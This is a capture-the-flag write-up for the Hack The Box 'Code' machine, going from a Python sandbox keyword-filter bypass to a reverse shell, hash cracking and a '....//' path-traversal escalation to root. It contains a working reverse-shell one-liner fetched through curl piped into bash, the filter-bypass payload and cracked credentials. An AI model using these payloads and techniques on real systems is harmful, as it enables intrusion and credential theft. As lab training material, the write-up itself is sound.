Hack The Box / LINUX / 2025-03-29
Hack The Box — Code (Linux)
Python code execution filter bypass leads to app shell, SQLite user hash cracking gives martin access, and path sanitization bypass in backy.sh reveals root data and SSH key.
Target
- IP:
10.129.117.66
Recon
sudo nmap -sC -sV 10.129.117.66 -p- -T5 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
1992/tcp filtered stun-p3
5000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
5003/tcp filtered filemaker
6640/tcp filtered ovsdb
6676/tcp filtered unknown
6911/tcp filtered unknown
8800/tcp filtered sunwebadmin
10382/tcp filtered unknown
11497/tcp filtered unknown
12722/tcp filtered unknown
13624/tcp filtered unknown
13659/tcp filtered unknown
17434/tcp filtered unknown
19709/tcp filtered unknown
25641/tcp filtered unknown
32252/tcp filtered unknown
32288/tcp filtered unknown
33752/tcp filtered unknown
36534/tcp filtered unknown
39359/tcp filtered unknown
43557/tcp filtered unknown
46029/tcp filtered unknown
51754/tcp filtered unknown
52406/tcp filtered unknown
55606/tcp filtered unknown
57406/tcp filtered unknown
58487/tcp filtered unknown
61690/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Go to http://10.129.117.66:5000.
We can execute Python code.
If we try to run:
import os
print(os.popen('id').read())
we get:
Use of restricted keywords is not allowed.
We see a POST request to http://10.129.117.66:5000/run_code with payload:
code: import os
print(os.popen('id').read())
Response:
{output: "Use of restricted keywords is not allowed."}
So the check appears to be server-side.
We can also save code.
A POST request is made to http://10.129.117.66:5000/save_code with payload like:
code: print("Hello, world!")
name: aaa.py
We get 401 unauthorized:
{message: "You must be logged in to save code."}
We can register with test12:test12 and log in.
Now we can see saved codes via My Codes, which goes to:
http://10.129.117.66:5000/codes
Save a code, for example named test.py.
Go to My Codes.
There is a link to our code at:
http://10.129.117.66:5000/?code_id=2
If we click it, it opens our code.
Intercept request with Burp and send to Repeater.
We can try changing the ID, but nothing interesting appears.
By trying multiple command execution approaches, we notice some keywords are filtered.
However, we can still execute arbitrary commands, for example with:
print(getattr(getattr(globals()['o'+'s'], 'pop'+'en')('id'), 're'+'ad')())
We get:
uid=1001(app-production) gid=1001(app-production) groups=1001(app-production)
Try to get a reverse shell.
Create a file rev with content:
bash -i >& /dev/tcp/10.10.14.252/4444 0>&1
Start Python HTTP server and netcat listener:
python3 -m http.server 8000
nc -vnlp 4444
Run this code:
print(getattr(getattr(globals()['o'+'s'], 'pop'+'en')('curl http://10.10.14.252:8000/rev | bash'), 're'+'ad')())
We get a reverse shell as app-production.
cd
cd app/instance
sqlite3 database.db
.tables
code user
select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
Put this content in file hash:
development:759b74ce43947f5f4c91aeddc3e5bad3
martin:3de6f30c4a09c27fc71932bfc68474be
hashcat -a 0 -m 0 ./hash ./rockyou.txt --username
hashcat -a 0 -m 0 ./hash ./rockyou.txt --username --show
development:759b74ce43947f5f4c91aeddc3e5bad3:development
martin:3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster
ssh martin@10.129.117.66
Use password nafeelswordsmaster.
sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
cat /usr/bin/backy.sh
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
file /usr/bin/backy
/usr/bin/backy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=RWqjP0EHFxWRL9SxAzvR/3-TEtzva44_xlRAMnq1A/OtYOmubKIkGHYUBMolai/2rhkvEyKOF9Rp_sQ7C0l, not stripped
In Martin's home there is a backups folder with files:
code_home_app-production_app_2024_August.tar.bz2
task.json
cat task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
What does this command do?
/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file"
From ChatGPT:
/usr/bin/jq – Calls the jq tool, which processes JSON.
"$json_file" – Specifies the JSON file to process.
'.directories_to_archive |= map(gsub("\\.\\./"; ""))'
directories_to_archive – Assumes that the JSON contains an array under this key.
map(...) – Applies the function to each element in the array.
gsub("\\.\\./"; "") – Uses gsub (global substitution) to remove all occurrences of "../" from each string in the array.
|= – Updates the directories_to_archive array with the modified values.
So we can bypass the filter using ....//.
In fact, the filter removes ../, leaving ../ effectively after transformation.
Modify task.json like this:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/....//root"
],
}
Note that we removed exclude.
Run:
sudo /usr/bin/backy.sh task.json
We get:
2025/03/22 23:47:16 🍀 backy 1.2
2025/03/22 23:47:16 📋 Working with task.json ...
2025/03/22 23:47:16 💤 Nothing to sync
2025/03/22 23:47:16 📤 Archiving: [/home/../root]
2025/03/22 23:47:16 📥 To: /home/martin/backups ...
2025/03/22 23:47:16 📦
ls
A new file appears: code_home_.._root_2025_March.tar.bz2.
tar xvjf 'code_home_.._root_2025_March.tar.bz2'
A root folder appears with root's home directory contents.
Inside we can find root.txt, and in .ssh we can find root private key id_rsa.
Copy it to a file root_key on our machine.
chmod 600 root_key
ssh -i root_key root@10.129.117.66
We get a shell as root.